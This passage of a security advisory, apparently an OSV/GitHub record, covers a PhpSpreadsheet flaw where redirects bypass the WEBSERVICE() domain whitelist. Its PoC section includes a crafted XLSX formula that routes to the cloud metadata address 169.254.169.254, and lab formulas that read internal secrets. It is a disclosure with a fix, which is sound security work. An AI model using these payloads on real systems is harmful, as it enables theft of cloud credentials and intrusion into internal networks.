              "introduced": "0"
            },
            {
              "fixed": "1.30.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59931"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-23T14:55:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe domain whitelist introduced in PhpSpreadsheet 5.4.0 for the `WEBSERVICE()` formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL\u0027s hostname, but `file_get_contents()` follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.\n\n### Details\n\nIn `Calculation/Web/Service.php`, the `webService()` method validates the URL\u0027s host against a domain whitelist set via `Spreadsheet::setDomainWhiteList()`. If the host passes validation, the method calls `file_get_contents($url, false, $ctx)` to fetch the content.\n\nThe stream context does not disable redirect following:\n\n```php\n$ctxArray = [\n    \u0027http\u0027 =\u003e [\n        \u0027user_agent\u0027 =\u003e \u0027Mozilla/5.0 ...\u0027,\n        // follow_location defaults to true\n        // max_redirects defaults to 20\n    ],\n];\n```\n\nPHP\u0027s HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is **not** re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.\n\n**Vulnerable code** (`Calculation/Web/Service.php`):\n\n```php\n// Whitelist check \u2014 runs ONCE on the initial URL\n$domainWhiteList = $cell?-\u003egetWorksheet()-\u003egetParent()?-\u003egetDomainWhiteList() ?? [];\n$host = $parsed[\u0027host\u0027] ?? \u0027\u0027;\nif (!in_array($host, $domainWhiteList, true)) {\n    return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;\n}\n\n// HTTP request \u2014 follows redirects to ANY destination\n$ctx = stream_context_create($ctxArray);\n$output = @file_get_contents($url, false, $ctx);\n```\n\nAdditionally, the whitelist check uses only the hostname from `parse_url()`, ignoring the port. This means whitelisting `example.com` permits access to all ports on that host.\n\n### PoC\n\n**Prerequisites:**\n- Application uses PhpSpreadsheet \u003e= 5.4.0\n- Application calls `$spreadsheet-\u003esetDomainWhiteList([...])` with at least one domain\n- Application calls `$cell-\u003egetCalculatedValue()` on uploaded XLSX files\n\n**Attack steps:**\n\n1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).\n\n2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:\n\n```xml\n\u003cc r=\"A1\"\u003e\n  \u003cf\u003e_xlfn.WEBSERVICE(\"http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/\")\u003c/f\u003e\n\u003c/c\u003e\n```\n\n3. Upload the XLSX to the target application. The calculation engine:\n   - Validates `whitelisted-domain.com` against the whitelist \u2014 **passes**\n   - Calls `file_get_contents(\"http://whitelisted-domain.com/redirect?url=...\")` \n   - `file_get_contents` follows the 302 redirect to `http://169.254.169.254/latest/meta-data/` \u2014 **no re-validation**\n   - Returns the cloud metadata response as the cell\u0027s calculated value\n\n**Lab reproduction:**\n\n```bash\n# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)\n# App whitelists \"trusted-api.example.com\"\n# Redirect server on trusted-api.example.com:7071 returns 302 \u2192 internal target\n\n# Test 1: Direct internal access \u2014 BLOCKED by whitelist\n=WEBSERVICE(\"http://127.0.0.1:9090/internal-api/secrets\")\n\u2192 Result: null (blocked)\n\n# Test 2: Via redirect from whitelisted domain \u2014 BYPASS\n=WEBSERVICE(\"http://trusted-api.example.com:7071/redirect-to-internal\")\n\u2192 Result: {\"ssrf\":\"CONFIRMED\",\"secret\":\"internal-api-key-LATEST\",\"server\":\"Linux ...\"}\n```\n\nConfirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).\n\n### Impact\n\nAn attacker who can upload XLSX files to an application that uses `setDomainWhiteList()` and `getCalculatedValue()` can:\n\n- **Bypass the domain whitelist** by routing requests through a whitelisted domain that redirects to internal targets\n- **Exfiltrate cloud metadata** (AWS/GCP/Azure instance credentials) via `http://169.254.169.254/`\n- **Access internal services** not exposed to the internet\n- **Port-scan internal networks** via any whitelisted hostname (port is not validated)\n\nThis is a full-read SSRF \u2014 the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell\u0027s calculated value.\n\n**Attack scenarios:**\n- Whitelisted domain has an open redirect vulnerability\n- Attacker controls the whitelisted domain (e.g., a free-tier API service)\n- DNS rebinding after the whitelist check\n\n### Suggested Fix\n\nDisable redirect following in the stream context:\n\n```php\n$ctxArray = [\n    \u0027http\u0027 =\u003e [\n        \u0027user_agent\u0027 =\u003e \u0027...\u0027,\n        \u0027follow_location\u0027 =\u003e false,\n        \u0027max_redirects\u0027 =\u003e 0,\n    ],\n];\n```\n\nAlternatively, if redirects must be supported, implement manual redirect following that re-validates each hop\u0027s hostname against the domain whitelist.\n\nAdditionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.\n\n### Related\n\nThis vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions \u003c 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.\n\nExisting SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.\n\n---",
  "id": "GHSA-6hq5-7373-42rg",
  "modified": "2026-07-23T14:55:48Z",
  "published": "2026-07-23T14:55:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-59931 (GCVE-0-2026-59931)

FKIE_CVE-2026-59931

GHSA-6HQ5-7373-42RG

Summary

Details

PoC

Impact

Suggested Fix

Related

Tags

Sightings

Nomenclature